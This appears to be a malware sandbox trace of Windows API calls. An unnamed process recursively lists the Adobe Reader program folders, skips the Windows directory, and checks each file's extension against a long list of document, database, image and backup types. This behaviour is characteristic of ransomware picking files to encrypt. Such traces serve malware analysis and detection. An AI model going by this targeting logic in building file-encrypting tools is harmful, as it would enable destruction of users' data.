	[0168.742] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1
	[0168.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0168.743] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0168.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0168.744] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0168.744] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0168.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0168.744] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0168.744] FindClose (in: hFindFile=0x4140dd8 | out: hFindFile=0x4140dd8) returned 1
	[0168.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0168.744] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1
	[0168.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0168.746] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1
	[0169.011] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0169.011] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1
	[0169.235] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0169.235] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0169.235] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0169.235] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0169.235] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0169.235] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0169.235] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0169.236] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1
	[0169.277] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0169.277] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1
	[0169.321] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0169.321] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0169.321] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0169.321] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0169.321] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1
	[0169.321] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar") returned 104
	[0169.321] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar") returned 1
	[0169.321] lstrlenW (lpString="win-scrollbar") returned 13
	[0169.321] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="win-scrollbar") returned -1
	[0169.321] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42929a0
	[0169.321] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar") returned 104
	[0169.322] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\*", lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a58
	[0169.328] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0169.328] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="arrow-down.png", cAlternateFileName="ARROW-~3.PNG")) returned 1
	[0169.328] lstrlenW (lpString="arrow-down.png") returned 14
	[0169.328] lstrlenW (lpString=".1cd") returned 4
	[0169.329] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".3ds") returned 4
	[0169.329] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".3fr") returned 4
	[0169.329] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".3g2") returned 4
	[0169.329] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".3gp") returned 4
	[0169.329] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".7z") returned 3
	[0169.329] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0169.329] lstrlenW (lpString=".accda") returned 6
	[0169.329] lstrcmpiW (lpString1=".accda", lpString2="wn.png") returned -1
	[0169.329] lstrlenW (lpString=".accdb") returned 6
	[0169.329] lstrcmpiW (lpString1=".accdb", lpString2="wn.png") returned -1
	[0169.329] lstrlenW (lpString=".accdc") returned 6
	[0169.329] lstrcmpiW (lpString1=".accdc", lpString2="wn.png") returned -1
	[0169.329] lstrlenW (lpString=".accde") returned 6
	[0169.329] lstrcmpiW (lpString1=".accde", lpString2="wn.png") returned -1
	[0169.329] lstrlenW (lpString=".accdt") returned 6
	[0169.329] lstrcmpiW (lpString1=".accdt", lpString2="wn.png") returned -1
	[0169.329] lstrlenW (lpString=".accdw") returned 6
	[0169.329] lstrcmpiW (lpString1=".accdw", lpString2="wn.png") returned -1
	[0169.329] lstrlenW (lpString=".adb") returned 4
	[0169.329] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".adp") returned 4
	[0169.329] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".ai") returned 3
	[0169.329] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0169.329] lstrlenW (lpString=".ai3") returned 4
	[0169.329] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".ai4") returned 4
	[0169.329] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0169.329] lstrlenW (lpString=".ai5") returned 4
	[0169.329] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".ai6") returned 4
	[0169.330] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".ai7") returned 4
	[0169.330] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".ai8") returned 4
	[0169.330] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".anim") returned 5
	[0169.330] lstrcmpiW (lpString1=".anim", lpString2="n.png") returned -1
	[0169.330] lstrlenW (lpString=".arw") returned 4
	[0169.330] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".as") returned 3
	[0169.330] lstrcmpiW (lpString1=".as", lpString2="png") returned -1
	[0169.330] lstrlenW (lpString=".asa") returned 4
	[0169.330] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".asc") returned 4
	[0169.330] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".ascx") returned 5
	[0169.330] lstrcmpiW (lpString1=".ascx", lpString2="n.png") returned -1
	[0169.330] lstrlenW (lpString=".asm") returned 4
	[0169.330] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".asmx") returned 5
	[0169.330] lstrcmpiW (lpString1=".asmx", lpString2="n.png") returned -1
	[0169.330] lstrlenW (lpString=".asp") returned 4
	[0169.330] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".aspx") returned 5
	[0169.330] lstrcmpiW (lpString1=".aspx", lpString2="n.png") returned -1
	[0169.330] lstrlenW (lpString=".asr") returned 4
	[0169.330] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".asx") returned 4
	[0169.330] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".avi") returned 4
	[0169.330] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1
	[0169.330] lstrlenW (lpString=".avs") returned 4
	[0169.331] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1
	[0169.331] lstrlenW (lpString=".backup") returned 7
	[0169.331] lstrcmpiW (lpString1=".backup", lpString2="own.png") returned -1
	[0169.331] lstrlenW (lpString=".bak") returned 4
	[0169.331] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1
	[0169.331] lstrlenW (lpString=".bay") returned 4
	[0169.332] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1
	[0169.332] lstrlenW (lpString=".bd") returned 3
	[0169.332] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1
	[0169.332] lstrlenW (lpString=".bin") returned 4
	[0169.332] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1
	[0169.332] lstrlenW (lpString=".bmp") returned 4
	[0169.332] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1
	[0169.332] lstrlenW (lpString=".bz2") returned 4
	[0169.332] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0169.332] lstrlenW (lpString=".c") returned 2
	[0169.332] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1
	[0169.332] lstrlenW (lpString=".cdr") returned 4
	[0169.332] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1
	[0169.332] lstrlenW (lpString=".cer") returned 4
	[0169.332] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".cf") returned 3
	[0169.333] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1
	[0169.333] lstrlenW (lpString=".cfc") returned 4
	[0169.333] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".cfm") returned 4
	[0169.333] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".cfml") returned 5
	[0169.333] lstrcmpiW (lpString1=".cfml", lpString2="n.png") returned -1
	[0169.333] lstrlenW (lpString=".cfu") returned 4
	[0169.333] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".chm") returned 4
	[0169.333] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".cin") returned 4
	[0169.333] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".class") returned 6
	[0169.333] lstrcmpiW (lpString1=".class", lpString2="wn.png") returned -1
	[0169.333] lstrlenW (lpString=".clx") returned 4
	[0169.333] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".config") returned 7
	[0169.333] lstrcmpiW (lpString1=".config", lpString2="own.png") returned -1
	[0169.333] lstrlenW (lpString=".cpp") returned 4
	[0169.333] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".cr2") returned 4
	[0169.333] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".crt") returned 4
	[0169.333] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".crw") returned 4
	[0169.333] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".cs") returned 3
	[0169.333] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1
	[0169.333] lstrlenW (lpString=".css") returned 4
	[0169.333] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1
	[0169.333] lstrlenW (lpString=".csv") returned 4
	[0169.334] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".cub") returned 4
	[0169.334] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dae") returned 4
	[0169.334] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dat") returned 4
	[0169.334] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".db") returned 3
	[0169.334] lstrcmpiW (lpString1=".db", lpString2="png") returned -1
	[0169.334] lstrlenW (lpString=".dbf") returned 4
	[0169.334] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dbx") returned 4
	[0169.334] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dc3") returned 4
	[0169.334] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dcm") returned 4
	[0169.334] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dcr") returned 4
	[0169.334] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".der") returned 4
	[0169.334] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dib") returned 4
	[0169.334] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dic") returned 4
	[0169.334] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".dif") returned 4
	[0169.334] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".divx") returned 5
	[0169.334] lstrcmpiW (lpString1=".divx", lpString2="n.png") returned -1
	[0169.334] lstrlenW (lpString=".djvu") returned 5
	[0169.334] lstrcmpiW (lpString1=".djvu", lpString2="n.png") returned -1
	[0169.334] lstrlenW (lpString=".dng") returned 4
	[0169.334] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1
	[0169.334] lstrlenW (lpString=".doc") returned 4
	[0169.335] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".docm") returned 5
	[0169.335] lstrcmpiW (lpString1=".docm", lpString2="n.png") returned -1
	[0169.335] lstrlenW (lpString=".docx") returned 5
	[0169.335] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1
	[0169.335] lstrlenW (lpString=".dot") returned 4
	[0169.335] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".dotm") returned 5
	[0169.335] lstrcmpiW (lpString1=".dotm", lpString2="n.png") returned -1
	[0169.335] lstrlenW (lpString=".dotx") returned 5
	[0169.335] lstrcmpiW (lpString1=".dotx", lpString2="n.png") returned -1
	[0169.335] lstrlenW (lpString=".dpx") returned 4
	[0169.335] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".dqy") returned 4
	[0169.335] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".dsn") returned 4
	[0169.335] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".dt") returned 3
	[0169.335] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1
	[0169.335] lstrlenW (lpString=".dtd") returned 4
	[0169.335] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".dwg") returned 4
	[0169.335] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".dwt") returned 4
	[0169.335] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".dx") returned 3
	[0169.335] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1
	[0169.335] lstrlenW (lpString=".dxf") returned 4
	[0169.335] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".edml") returned 5
	[0169.335] lstrcmpiW (lpString1=".edml", lpString2="n.png") returned -1
	[0169.335] lstrlenW (lpString=".efd") returned 4
	[0169.335] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1
	[0169.335] lstrlenW (lpString=".elf") returned 4
	[0169.336] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".emf") returned 4
	[0169.336] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".emz") returned 4
	[0169.336] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".epf") returned 4
	[0169.336] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".eps") returned 4
	[0169.336] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".epsf") returned 5
	[0169.336] lstrcmpiW (lpString1=".epsf", lpString2="n.png") returned -1
	[0169.336] lstrlenW (lpString=".epsp") returned 5
	[0169.336] lstrcmpiW (lpString1=".epsp", lpString2="n.png") returned -1
	[0169.336] lstrlenW (lpString=".erf") returned 4
	[0169.336] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".exr") returned 4
	[0169.336] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".f4v") returned 4
	[0169.336] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".fido") returned 5
	[0169.336] lstrcmpiW (lpString1=".fido", lpString2="n.png") returned -1
	[0169.336] lstrlenW (lpString=".flm") returned 4
	[0169.336] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".flv") returned 4
	[0169.336] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".frm") returned 4
	[0169.336] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".fxg") returned 4
	[0169.336] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".geo") returned 4
	[0169.336] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".gif") returned 4
	[0169.336] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1
	[0169.336] lstrlenW (lpString=".grs") returned 4
	[0169.336] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".gz") returned 3
	[0169.337] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1
	[0169.337] lstrlenW (lpString=".h") returned 2
	[0169.337] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1
	[0169.337] lstrlenW (lpString=".hdr") returned 4
	[0169.337] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".hpp") returned 4
	[0169.337] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".hta") returned 4
	[0169.337] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".htc") returned 4
	[0169.337] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".htm") returned 4
	[0169.337] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".html") returned 5
	[0169.337] lstrcmpiW (lpString1=".html", lpString2="n.png") returned -1
	[0169.337] lstrlenW (lpString=".icb") returned 4
	[0169.337] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".ics") returned 4
	[0169.337] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".iff") returned 4
	[0169.337] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".inc") returned 4
	[0169.337] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".indd") returned 5
	[0169.337] lstrcmpiW (lpString1=".indd", lpString2="n.png") returned -1
	[0169.337] lstrlenW (lpString=".ini") returned 4
	[0169.337] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".iqy") returned 4
